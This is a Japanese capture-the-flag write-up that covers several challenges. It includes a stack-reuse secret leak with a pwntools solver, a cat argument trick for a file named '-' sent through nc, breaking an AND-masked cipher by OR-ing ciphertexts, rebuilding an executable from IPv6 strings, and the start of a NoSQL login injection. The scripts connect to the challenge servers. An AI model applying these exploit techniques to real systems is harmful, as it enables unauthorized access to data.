Index
prepare() では 32 byte のランダム secret を hex 文字列化して SHA-256 を取り、その後 memset() で消したつもりになっているが、-O2 ではその消去が dead store として最適化で消える。
次の challenge() では未初期化の mem[0x100] が同じスタック領域を再利用していて、逆アセンブル上では secret が mem[224..255] にちょうど重なる。
したがって ? でその 32 byte を読むだけで secret を復元でき、そのまま ! で返せば通る。
from pwn import context, remote
context.log_level = "error"
io = remote("34.170.146.252", 36195)
io.recvuntil(b"choice: ")
secret = bytearray()
for i in range(224, 256):
io.sendline(b"?")
io.recvuntil(b"index: ")
io.sendline(str(i).encode())
line = io.recvline().decode()
secret.append(int(line.rsplit("0x", 1)[1], 16))
io.recvuntil(b"choice: ")
io.sendline(b"!")
io.recvuntil(b"secret: ")
io.sendline(secret)
print(io.recvall().decode("latin1"))
flag のファイル名は Dockerfile の COPY flag.txt - によって - になっている。
このとき cat - はファイル名ではなく stdin を意味するので、そのままでは読めない。
subprocess.run(["cat", input("$ cat ")]) は shell を使っていないので、
./- のように明示的なパスを渡せば実際のファイルとして開ける。
echo "./-" |nc 34.170.146.252 8935
各 byte の暗号化は cipher[i] = plain[i] & key[i] で、key[i] は毎回独立な乱数。
暗号文をたくさん OR すると、そのまま平文が復元できる。
from pwn import context, remote
context.log_level = "error"
io = remote("34.170.146.252", 29127)
flag = None
for _ in range(100):
io.recvuntil(b"Press Enter to get the encrypted flag...")
io.sendline(b"")
line = io.recvline().decode().strip()
c = bytes.fromhex(line.split(": ", 1)[1])
if flag is None:
flag = bytearray(c)
else:
for i, b in enumerate(c):
flag[i] |= b
print(flag.decode())
配布された data.h は、実行ファイルを 16 byte ごとに区切って IPv6 文字列へ変換したものになっている。
したがって各 IPv6 を16 byte に戻して連結すれば、元の flag_checker.exe をそのまま復元できる。
復元した PE では flag が比較用バッファとして命令の即値に埋め込まれているので、その即値だけ拾ってつなげる。
import ipaddress
import re
from pathlib import Path
text = Path("data.h").read_text()
ipv6_data = re.findall(r'"([^"]+)"', text)
exe = b"".join(ipaddress.IPv6Address(s).packed for s in ipv6_data)
...
POST / では req.body から受け取った username と password をそのまま findOne({ username, password }) に渡している。